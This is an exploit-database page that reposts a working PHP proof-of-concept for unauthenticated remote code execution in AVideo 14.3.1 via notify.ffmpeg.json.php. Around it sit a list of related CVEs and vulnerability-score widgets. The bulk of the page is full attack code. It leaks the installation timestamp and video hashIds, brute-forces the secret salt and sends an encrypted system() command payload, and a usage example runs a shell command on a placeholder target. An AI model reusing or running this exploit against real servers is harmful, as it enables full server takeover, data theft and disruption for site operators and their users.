Lucene search
K

📄 AVideo 14.3.1 notify.ffmpeg.json.php Remote Code Execution

🗓️ 26 Jan 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 148 Views

Unauthenticated RCE in AVideo 14.3.1 via notify.ffmpeg.json.php enables arbitrary command execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-34442
17 Dec 202519:48
attackerkb
ATTACKERKB
CVE-2025-34441
17 Dec 202519:48
attackerkb
ATTACKERKB
CVE-2025-34433
19 Dec 202515:37
attackerkb
Circl
CVE-2025-34433
19 Dec 202517:01
circl
Circl
CVE-2025-34441
15 Jan 202623:54
circl
Circl
CVE-2025-34442
15 Jan 202623:54
circl
CNNVD
AVideo 安全漏洞
17 Dec 202500:00
cnnvd
CNNVD
AVideo 安全漏洞
17 Dec 202500:00
cnnvd
CNNVD
AVideo 安全漏洞
19 Dec 202500:00
cnnvd
CVE
CVE-2025-34433
19 Dec 202515:37
cve
Rows per page
=============================================================================================================================================
    | # Title     : AVideo 14.3.1 via notify.ffmpeg.json.php Unauthenticated Remote Code Execution                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/WWBN/AVideo                                                                                              |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213984/ & CVE-2025-34433, CVE-2025-34441, CVE-2025-34442
    
    [+] Summary    : Multiple critical vulnerabilities in the AVideo platform allow unauthenticated remote code execution (RCE) through the plugin/API/notify.ffmpeg.json.php endpoint. 
                     Affected versions (≥ 14.3.1) expose weaknesses in cryptographic design and access control, enabling attackers to derive or bypass required secrets (salt/hashId) 
    				 using publicly accessible endpoints and predictable installation timestamps. By abusing these flaws, an attacker can craft a malicious notification request 
    				 that results in arbitrary command execution on the server without authentication. 
                     The impact includes full server compromise, data theft, service disruption, and lateral movement. 
    				 Immediate patching, access restriction, and defensive hardening are strongly recommended.
    
    [+] PoC : php poc.php
    
    <?php
    
    class AVideoExploit {
        private $target;
        private $baseUrl;
        private $salt;
        private $systemRoot;
        private $videoInfo;
        private $timestamps;
        private $endpointCache = [];
        private $version;
        private $notifyExists = false;
        private $timestampAccessible = false;
        private $hashidAccessible = false;
        
        public function __construct($target, $baseUrl = '/', $salt = '', $systemRoot = '/var/www/html/AVideo/') {
            $this->target = $target;
            $this->baseUrl = rtrim($baseUrl, '/');
            $this->salt = $salt;
            $this->systemRoot = $systemRoot;
        }
    
        public function exploit($payload) {
            $this->gatherInfo();
            
            if (!$this->discoverSalt()) {
                throw new Exception('Failed to discover salt');
            }
            
            $callbackPayload = $this->phpExecCmd($payload);
            return $this->sendRcePayload($callbackPayload);
        }
    
        public function check() {
            $this->gatherInfo();
            
            if (!$this->notifyExists) {
                return 'Safe: notify.ffmpeg.json.php not found (requires 14.3.1+)';
            }
            
            $saltProvided = !empty($this->salt);
            if (!$saltProvided) {
                if (!$this->timestampAccessible) {
                    return 'Safe: categories.json.php inaccessible (timestamp leak required)';
                }
                if (!$this->hashidAccessible) {
                    return 'Safe: hashId endpoints inaccessible';
                }
            }
            
            if ($this->version && version_compare($this->version, '14.3.1', '>=')) {
                return "Vulnerable version {$this->version} detected";
            } elseif ($this->version) {
                return "Version {$this->version} requires 14.3.1+";
            }
            
            return 'Prerequisites met (version unknown)';
        }
    
        private function gatherInfo() {
            if ($this->notifyExists && $this->timestampAccessible && $this->hashidAccessible) {
                return;
            }
            
            echo "[*] Gathering target information...\n";
            $this->detectVersion();
            $this->notifyExists = $this->checkNotifyEndpoint();
            
            $this->timestampAccessible = $this->checkEndpoint('objects/categories.json.php');
            if ($this->timestampAccessible && empty($this->timestamps)) {
                $this->timestamps = $this->getTimestamps();
            }
            
            if (empty($this->videoInfo)) {
                $this->videoInfo = $this->getVideoInfo();
            }
            $this->hashidAccessible = !empty($this->videoInfo);
        }
    
        private function detectVersion() {
            $response = $this->sendRequest($this->baseUrl . '/index.php');
            if (!$response || !str_contains($response, '200 OK')) {
                return;
            }
            
            $body = $this->extractBody($response);
            if (preg_match('/Powered by AVideo ® Platform v([\d.]+)/', $body, $matches) ||
                preg_match('/<!--.*?v:([\d.]+).*?-->/s', $body, $matches)) {
                $this->version = $matches[1];
                echo "[+] Detected AVideo version: {$this->version}\n";
            }
        }
    
        private function checkEndpoint($path) {
            $response = $this->sendRequest($this->baseUrl . '/' . $path);
            return $response && str_contains($response, '200 OK');
        }
    
        private function checkNotifyEndpoint() {
            $response = $this->sendRequest($this->baseUrl . '/plugin/API/notify.ffmpeg.json.php');
            return $response && str_contains($response, '403') && str_contains($response, 'Empty notifyCode');
        }
        private function getTimezones() {
            $response = $this->sendRequest($this->baseUrl . '/objects/getTimes.json.php');
            if (!$response || !str_contains($response, '200 OK')) {
                return [null, null];
            }
            
            $body = $this->extractBody($response);
            $data = json_decode($body, true);
            
            if (!$data) {
                return [null, null];
            }
            
            return [
                $data['_serverSystemTimezone'] ?? null,
                $data['_serverDBTimezone'] ?? null
            ];
        }
        private function getTimestamps() {
            echo "[*] Leaking installation timestamp...\n";
            
            list($systemTz, $dbTz) = $this->getTimezones();
            echo "[+] Server timezones: system={$systemTz}, db={$dbTz}\n";
            
            $response = $this->sendRequest($this->baseUrl . '/objects/categories.json.php');
            if (!$response || !str_contains($response, '200 OK')) {
                return [];
            }
            
            $body = $this->extractBody($response);
            
            // Try JSON parsing first
            $timestamps = $this->parseTimestampsFromJson($body, $systemTz, $dbTz);
            if (!empty($timestamps)) {
                return $timestamps;
            }
            
            // Fallback to regex
            return $this->parseTimestampsFromRegex($body, $systemTz, $dbTz);
        }
        private function parseTimestampsFromJson($body, $systemTz, $dbTz) {
            $data = json_decode($body, true);
            if (!$data || !isset($data['rows']) || !is_array($data['rows']) || empty($data['rows'])) {
                return [];
            }
            
            $firstCategory = null;
            foreach ($data['rows'] as $category) {
                if (!$firstCategory || $category['id'] < $firstCategory['id']) {
                    $firstCategory = $category;
                }
            }
            
            if (!$firstCategory || !isset($firstCategory['created'])) {
                return [];
            }
            
            $timestamps = $this->datetimeToTimestamps($firstCategory['created'], $systemTz, $dbTz);
            echo "[+] Installation timestamp: {$firstCategory['created']} -> {$timestamps[0]}\n";
            
            return $timestamps;
        }
        private function parseTimestampsFromRegex($body, $systemTz, $dbTz) {
            if (!preg_match_all('/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/s', $body, $matches)) {
                return [];
            }
            
            $minId = PHP_INT_MAX;
            $created = null;
            
            for ($i = 0; $i < count($matches[0]); $i++) {
                $id = (int)$matches[1][$i];
                if ($id < $minId) {
                    $minId = $id;
                    $created = $matches[2][$i];
                }
            }
            
            if (!$created) {
                return [];
            }
            
            $timestamps = $this->datetimeToTimestamps($created, $systemTz, $dbTz);
            echo "[+] Installation timestamp (regex): {$created} -> {$timestamps[0]}\n";
            
            return $timestamps;
        }
    
        private function datetimeToTimestamps($dtStr, $systemTz, $dbTz) {
            try {
                $dt = DateTime::createFromFormat('Y-m-d H:i:s', $dtStr);
                if (!$dt) {
                    return [];
                }
                
                $timezones = array_unique(array_filter([$systemTz, $dbTz, 'UTC']));
                $timestamps = [];
                
                foreach ($timezones as $tz) {
                    try {
                        $dt->setTimezone(new DateTimeZone($tz));
                        $timestamps[] = dechex($dt->getTimestamp());
                    } catch (Exception $e) {
                        // Skip invalid timezone
                    }
                }
                
                return array_unique($timestamps);
            } catch (Exception $e) {
                echo "[-] Error converting datetime: " . $e->getMessage() . "\n";
                return [];
            }
        }
    
        private function getSystemRoot() {
            if (!empty($this->systemRoot)) {
                return $this->systemRoot;
            }
            
            // Try to extract from cached responses
            $systemRoot = $this->extractSystemRootFromCache();
            if ($systemRoot) {
                echo "[+] System root leaked: {$systemRoot}\n";
                $this->systemRoot = $systemRoot;
                return $systemRoot;
            }
            
            echo "[*] Using fallback system root: {$this->systemRoot}\n";
            return $this->systemRoot;
        }
        private function extractSystemRootFromCache() {
            $pattern = '/"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/';
            
            foreach ($this->endpointCache as $body) {
                if (preg_match_all($pattern, $body, $matches)) {
                    foreach ($matches[1] as $path) {
                        $path = str_replace('\\/', '/', $path);
                        $root = $this->findRootInPath($path);
                        if ($root) {
                            return $root;
                        }
                    }
                }
            }
            
            return null;
        }
        private function findRootInPath($path) {
            $subdirs = ['/view/', '/videos/', '/plugin/'];
            
            foreach ($subdirs as $subdir) {
                if (strpos($path, $subdir) !== false) {
                    $parts = explode($subdir, $path, 2);
                    return $parts[0] . '/';
                }
            }
            
            return null;
        }
    
        private function getVideoInfo() {
            echo "[*] Leaking video hashId...\n";
            
            $endpoints = [
                $this->baseUrl . '/objects/videosAndroid.json.php',
                $this->baseUrl . '/plugin/API/get.json.php?APIName=video',
                $this->baseUrl . '/view/info.php'
            ];
            
            foreach ($endpoints as $endpoint) {
                try {
                    $info = $this->extractVideoInfoFromEndpoint($endpoint);
                    if ($info) {
                        return $info;
                    }
                } catch (Exception $e) {
                    echo "[-] Error checking {$endpoint}: " . $e->getMessage() . "\n";
                }
            }
            
            return null;
        }
    
        private function extractVideoInfoFromEndpoint($endpoint) {
            // Use cached response if available
            $body = $this->endpointCache[$endpoint] ?? null;
            
            if (!$body) {
                $response = $this->sendRequest($endpoint);
                if (!$response || !str_contains($response, '200 OK')) {
                    return null;
                }
                
                $body = $this->extractBody($response);
                $this->endpointCache[$endpoint] = $body;
            }
            
            $data = json_decode($body, true);
            if (!$data) {
                return null;
            }
            
            $videos = $data['videos'] ?? 
                      ($data['response']['rows'] ?? 
                      (is_array($data['response']) ? $data['response'] : []));
            
            if (empty($videos)) {
                return null;
            }
            
            foreach ($videos as $video) {
                if (isset($video['id'], $video['hashId'])) {
                    $hashId = $video['hashId'];
                    $cipher = strlen($hashId) < 16 ? 'RC4' : 'AES-128-CBC';
                    
                    echo "[+] Video ID={$video['id']}, hashId={$hashId} ({$cipher})\n";
                    
                    return [
                        'id' => (int)$video['id'],
                        'hash_id' => $hashId,
                        'cipher' => $cipher
                    ];
                }
            }
            
            return null;
        }
    
        private function computeHashId($videoId, $salt, $cipherType = 'AES-128-CBC') {
            $key = substr(md5($salt), 0, 16);
            $plaintext = base_convert($videoId, 10, 32);
            
            if ($cipherType === 'RC4') {
                // RC4 implementation
                $s = range(0, 255);
                $j = 0;
                
                for ($i = 0; $i < 256; $i++) {
                    $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256;
                    $temp = $s[$i];
                    $s[$i] = $s[$j];
                    $s[$j] = $temp;
                }
                
                $i = $j = 0;
                $ciphertext = '';
                
                for ($k = 0; $k < strlen($plaintext); $k++) {
                    $i = ($i + 1) % 256;
                    $j = ($j + $s[$i]) % 256;
                    
                    $temp = $s[$i];
                    $s[$i] = $s[$j];
                    $s[$j] = $temp;
                    
                    $ciphertext .= chr(ord($plaintext[$k]) ^ $s[($s[$i] + $s[$j]) % 256]);
                }
                
                return rtrim(strtr(base64_encode($ciphertext), '+/', '-_'), '=');
            } else {
                // AES-128-CBC
                $iv = $key;
                $ciphertext = openssl_encrypt(
                    $plaintext,
                    'aes-128-cbc',
                    $key,
                    OPENSSL_RAW_DATA,
                    $iv
                );
                
                if ($ciphertext === false) {
                    return null;
                }
                
                return rtrim(strtr(base64_encode($ciphertext), '+/', '-_'), '=');
            }
        }
    
        private function encryptPayload($payload) {
            $key = substr(hash('sha256', $this->salt), 0, 32);
            $iv = substr(hash('sha256', $this->systemRoot), 0, 16);
            
            $ciphertext = openssl_encrypt(
                $payload,
                'aes-256-cbc',
                $key,
                OPENSSL_RAW_DATA,
                $iv
            );
            
            return base64_encode(base64_encode($ciphertext));
        }
    
        private function testSaltCandidate($candidate, $video) {
            $computedHashId = $this->computeHashId($video['id'], $candidate, $video['cipher']);
            return $computedHashId === $video['hash_id'];
        }
    
        private function bruteforceSalt($timestamps, $video) {
            echo "[*] Bruteforcing salt ({$video['cipher']})...\n";
            
            $startTime = microtime(true);
            $total = count($timestamps) * 0x100000;
            
            foreach ($timestamps as $tsIdx => $tsHex) {
                for ($micro = 0; $micro < 0x100000; $micro++) {
                    $candidate = sprintf('%s%05x', $tsHex, $micro);
                    
                    if ($this->testSaltCandidate($candidate, $video)) {
                        $elapsed = round(microtime(true) - $startTime, 2);
                        echo "\n[+] Salt found: {$candidate} (in {$elapsed}s)\n";
                        return $candidate;
                    }
                    
                    // Progress reporting
                    if ($micro % 100000 === 0 && $micro > 0) {
                        $current = ($tsIdx * 0x100000) + $micro;
                        $pct = round(100.0 * $current / $total, 1);
                        $formattedMicro = number_format($micro);
                        echo "\r[*] [" . ($tsIdx + 1) . "/" . count($timestamps) . "] {$tsHex}: {$formattedMicro} ({$pct}%)";
                    }
                }
            }
            
            echo "\n";
            return null;
        }
    
        private function discoverSalt() {
            if (!empty($this->salt)) {
                echo "[+] Using provided salt: {$this->salt}\n";
                return !empty($this->getSystemRoot());
            }
            
            $this->getSystemRoot();
            
            if (empty($this->timestamps)) {
                $this->timestamps = $this->getTimestamps();
            }
            
            if (empty($this->videoInfo)) {
                $this->videoInfo = $this->getVideoInfo();
            }
            
            if (empty($this->timestamps) || empty($this->videoInfo)) {
                return false;
            }
            
            $this->salt = $this->bruteforceSalt($this->timestamps, $this->videoInfo);
            return $this->salt !== null;
        }
    
        private function sendRcePayload($callbackPayload) {
            $notifyCode = $this->encryptPayload('valid');
            $callback = $this->encryptPayload($callbackPayload);
            
            $filename = $this->randomString(rand(8, 16));
            $ext = ['mp4', 'avi', 'mkv', 'mov', 'webm'][rand(0, 4)];
            $fullFilename = "{$filename}.{$ext}";
            
            $notifyData = [
                'avideoPath' => $fullFilename,
                'avideoRelativePath' => $fullFilename,
                'avideoFilename' => $filename
            ];
            
            shuffle($notifyData);
            $notify = json_encode($notifyData);
            
            $params = [
                'notifyCode' => $notifyCode,
                'notify' => $notify,
                'callback' => $callback
            ];
            
            shuffle($params);
            
            $queryString = http_build_query($params);
            $url = $this->baseUrl . '/plugin/API/notify.ffmpeg.json.php?' . $queryString;
            
            return $this->sendRequest($url);
        }
    
        private function parseErrorFromResponse($response) {
            if (!$response) {
                return 'No response';
            }
            
            $body = $this->extractBody($response);
            $data = json_decode($body, true);
            
            if (!$data) {
                return null;
            }
            
            if (!empty($data['msg'])) {
                return $data['msg'];
            }
            
            if (isset($data['error']) && $data['error'] === true) {
                return 'Unknown error';
            }
            
            return null;
        }
    
        private function phpExecCmd($cmd) {
            return 'system(base64_decode("' . base64_encode($cmd) . '"));';
        }
    
        private function sendRequest($url) {
            $ch = curl_init();
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_MAXREDIRS => 5,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            curl_close($ch);
            
            return $response ? "HTTP/1.1 {$httpCode}\r\n" . $response : false;
        }
    
        private function extractBody($response) {
            $parts = explode("\r\n\r\n", $response, 2);
            return count($parts) > 1 ? $parts[1] : $response;
        }
        
        private function randomString($length) {
            $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
            $result = '';
            
            for ($i = 0; $i < $length; $i++) {
                $result .= $chars[rand(0, strlen($chars) - 1)];
            }
            
            return $result;
        }
    }
    
    /**
     * Usage example:
     * 
     * $exploit = new AVideoExploit('http://target.com', '/AVideo', '', '/var/www/html/AVideo/');
     * 
     * // Check vulnerability
     * echo $exploit->check() . "\n";
     * 
     * // Execute payload
     * $payload = 'id'; // Command to execute
     * $response = $exploit->exploit($payload);
     * echo $response . "\n";
     */
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Jan 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 49.3
CVSS 3.17.5
EPSS0.41084
SSVC
148